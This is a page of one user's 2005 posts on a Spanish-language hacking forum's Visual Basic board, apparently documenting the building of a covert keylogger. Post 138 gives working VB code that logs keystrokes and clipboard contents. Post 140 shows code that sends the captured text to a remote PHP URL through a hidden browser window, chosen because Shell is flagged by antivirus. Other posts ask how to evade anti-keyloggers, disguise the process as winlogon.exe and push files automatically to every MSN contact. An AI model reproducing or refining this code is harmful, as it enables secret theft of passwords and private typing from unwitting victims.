últimos mensajes de: A2Corp

Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16

131	Programación / Programación Visual Basic / el Msn poseido xD	en: 7 Octubre 2005, 19:23 pm
Hola... wenas, tengo unas cuantas dudillas.... gracias a un compañero (NYLON) y a (REYDELMUNDO) que me comentaron la idea de 1.- mandar un archivo por msn y 2.- publikar kosas por este mismo... Todo con VB. Dejen me expliko mejor... Busko hacer un programa en Vb, que buske la ventana de msn... abra una conversacion con kada uno de los contactos... y ya sea mandar un saludo, o mandar un archivo. El kodigo para esto ya lo tengo, gracias a un post que puso rey hace tiempo... Pero, mi problema es el siguiente. Uso Win Xp, y como esta version tiene el Windows Messenger, lo que hace el codigo que baje del post de reydelmundo es abrirme el Win messenger, en vez de usar el Msn messenger. Segun NYLON y estoy de acuerdo con el tengo que tener desinstalado el win messenger para que ahora llame al Msn Messenger. Pero... No se puede hacer esto sin tener que desinstalarlo? Alguna idea??????

132	Programación / Programación Visual Basic / Re: Proceso Protegido	en: 7 Octubre 2005, 19:14 pm
una pregunta... que en System32 no esta el proceso original de winlogon.exe??????? Esto no afectaria a nuestro copy? o no dañaria al archivo de winlogon.exe original? y para editar el registro mejor usa apis!, pke esos scripts seran detectados como virus... Saludos!

133	Programación / Programación Visual Basic / Re: Keylogger vuelto lokoOo!	en: 6 Octubre 2005, 04:47 am
el kambiarle el nombre al proceso no ayuda en nada jejejeje... El antikeylogger que uso es Advance Antikeylogger 3.61 Eso si... como menciona Nylon, los Antikeyloggers no se usan mucho

134	Programación / Programación Visual Basic / Re: Keylogger vuelto lokoOo!	en: 5 Octubre 2005, 18:56 pm
Weno pues... sip, como dicen todos y como yo no keria kreer pke se me hace mas dificil ese metodo, lo mejor es Hookear el teclado!, ya lo logre... Pero me encontre con otro problema! Los antikeyloggers... Esos que detectan los programas que hookean. e incluso me detecto el keylogger del kodigo que puse al inicio de todo este post. Los antikeyloggers detectan todo , mi pregunta es... Como burlarlos? Precisamente hace un momento le pregunte a DEX, le comente que, hay procesos naturales de windows que tmb hacen sus hooks, y que el antikeylogger no los detecta... entonces... Como hacerle kreer al antikeylogger que este keylogger es un proceso natural de windows? Dex me dio la respuesta xD... no se puede!. Pke se necesita un documento firmado de valided. Alguien sabe burlar esto?

135	Programación / Programación Visual Basic / Re: Inestabilidad en Script	en: 20 Septiembre 2005, 02:05 am
Oh....... lo siento, eske no entendi lo que me habias dichoOo! >.< Pero ya solucione el problema es que si el textbox tiene mas de 1900 caracteres no puede mandarlos... Lo que hice fue ponerle un limite al textbox de 1800 y cuando se llene los manda... Ya funciona correctamente GRACIAS!!!!!!!

136	Programación / Programación Visual Basic / Re: Keylogger vuelto lokoOo!	en: 19 Septiembre 2005, 19:01 pm
muchas gracias... Jajajaja, aunke ahora esta mas loko, escribe "TAB" cuando oprimo "CONTROL" jajajajajajajaja... Hay un error en el codigo, ahora deja lo analizo para detectarloOo!. Muchas gracias! ahora ya me diste una idea de como funciona! =) gracias....

137	Programación / Programación Visual Basic / Re: Inestabilidad en Script	en: 19 Septiembre 2005, 18:42 pm
yo se como hacer que se ejecute ocultoOo... pero el problema es que si text1 tiene mas de 1800 caracteres el comando no funciona!!!!!! para que se ejecute oculto cambia el 1 por un 0 jajajaja y ya!

138

Programación / Programación Visual Basic / Re: Keylogger vuelto lokoOo!

en: 19 Septiembre 2005, 17:14 pm

Jajaja, muchas gracias por sus codigoOos!...
pero en realidad como voy empezando con la programacion no supe como usar el select case xD.
Lo que mejor hize fue kitar ciertos karacteres que no me servirian de nada por ejemplo "º" "ª" etc... xDDDD.
y se redujo un poko el codigoOo...
Aki se los dejo por si les ayuda en algo...
Si alguien lo kiere reducir mas, k me lo mande!!!!! xDDDD

Código:

Private Sub Timer1_Timer()
On Error Resume Next

Call ReadClipBoard

For i = Asc("A") To Asc("Z")
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  If GetAsyncKeyState(SHIFT) < 0 Then
   TypeWindow
   If GetKeyState(CAPITAL) > 0 Then
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
   
  Else
   If GetKeyState(CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
  
End If
Next

For i = 48 To 57
 If GetAsyncKeyState(i) = -32767 Then
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i)
  Exit Sub
  Else
  Text1 = Text1 & Chr(i)
  Exit Sub
  End If
 End If
Next

For i = 186 To 192
 If GetAsyncKeyState(i) = -32767 Then
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & Chr2(i)
  Exit Sub
  End If
  
 End If
Next

For i = 219 To 222
 If GetAsyncKeyState(i) = -32767 Then
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & Chr2(i)
  Exit Sub
  End If
 End If
Next

For i = 96 To 111
 If GetAsyncKeyState(i) = -32767 Then
  Text1 = Text1 & Chr2(i)
  Exit Sub
 End If
 Next
 
  If GetAsyncKeyState(8) = -32767 Then
 If (Right(Text1, 1) = " ") Then GoTo nod
 tip = Len(Text1) - 1
  Text1 = Left(Text1, tip)
nod:
 End If
 
 If GetAsyncKeyState(9) = -32767 Then
  Text1 = Text1 & "[Tab]"
 End If
 
 If GetAsyncKeyState(13) = -32767 Then
  Text1 = Text1 & "<br>"
 End If

 If GetAsyncKeyState(17) = -32767 Then
  Text1 = Text1 & "[Ctrl]"
 End If
 
 If GetAsyncKeyState(18) = -32767 Then
  Text1 = Text1 & "[Alt]"
 End If
  
 If GetAsyncKeyState(27) = -32767 Then
  Text1 = Text1 & "[Esc]"
 End If
 
 If GetAsyncKeyState(32) = -32767 Then
  Text1 = Text1 & " "
 End If
 
   If GetAsyncKeyState(91) = -32767 Then
  Text1 = Text1 & "[Win]"
 End If
  
 If GetAsyncKeyState(92) = -32767 Then
  Text1 = Text1 & "[Win]"
 End If
 
End Sub
 Function CodigosRaros()
Chr2(49) = "!"
Chr2(50) = "@"
Chr2(52) = "$"
Chr2(55) = "/"
Chr2(56) = "("
Chr2(57) = ")"
Chr2(186) = "`"
Chr2(187) = "+"
Chr2(188) = ","
Chr2(189) = "-"
Chr2(190) = "."
Chr2(219) = "'"
Chr2(221) = "¡"
Chr2(222) = "´"
Chr2(86) = "^"
Chr2(87) = "*"
Chr2(88) = ";"
Chr2(89) = "_"
Chr2(90) = ":"
Chr2(119) = "?"
Chr2(121) = "¿"
Chr2(122) = """"
Chr2(96) = "0"
Chr2(97) = "1"
Chr2(98) = "2"
Chr2(99) = "3"
Chr2(100) = "4"
Chr2(101) = "5"
Chr2(102) = "6"
Chr2(103) = "7"
Chr2(104) = "8"
Chr2(105) = "9"
Chr2(106) = "*"
Chr2(107) = "+"
Chr2(109) = "-"
Chr2(110) = "."
Chr2(111) = "/"
Chr2(192) = "ñ"
Chr2(92) = "Ñ"
End Function

139	Programación / Programación Visual Basic / Re: Cerrar proceso VBscript	en: 19 Septiembre 2005, 17:07 pm
Si, si se puede... Solo tienes que buskar un poko amigoOo jejeje... Puedes buskar "killprocess" aki en el foro. Aki te dejo un ejemplo puesto por Nylon... muy buenoOo!, es el que uso en mi keylogger xDDDDD. http://foro.elhacker.net/index.php/topic,84182.0.html SaludoOoOos!

140	Programación / Programación Visual Basic / Re: Inestabilidad en Script	en: 19 Septiembre 2005, 16:21 pm
Mhhh... sigue igual, intente como dijiste yeikos y nada... Si, el problema esta cuando le digo que ademas de la url meta a text1.text....... Tambien intente asi: Código: Private Sub Timer2_Timer() Dim hola As String hola = "www.google.com" & Text1.Text If Len(Text1) >= 2000 Then Call ShellExecute(hwnd, "Open", ("iexplore.exe"), "http://www.misitio.com/update.php?datos=" & Text1.Text, vbNullString, 0)Text1 = "" End If End Sub y nada...... Jejejeje existe otra forma de abrir archivos? con el Shell si me funciona... pero me han dicho que es detectado por antivirus. Mhhh.... como podria hacerle? me akabo de dar cuenta que si text1.text tiene mas de 1900 caracteres escritos no se manda...... no se que suceda. Se puede hacer que text1.text tenga limite de escritura??????????????????? precisamente de 1900 caracteres????

Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16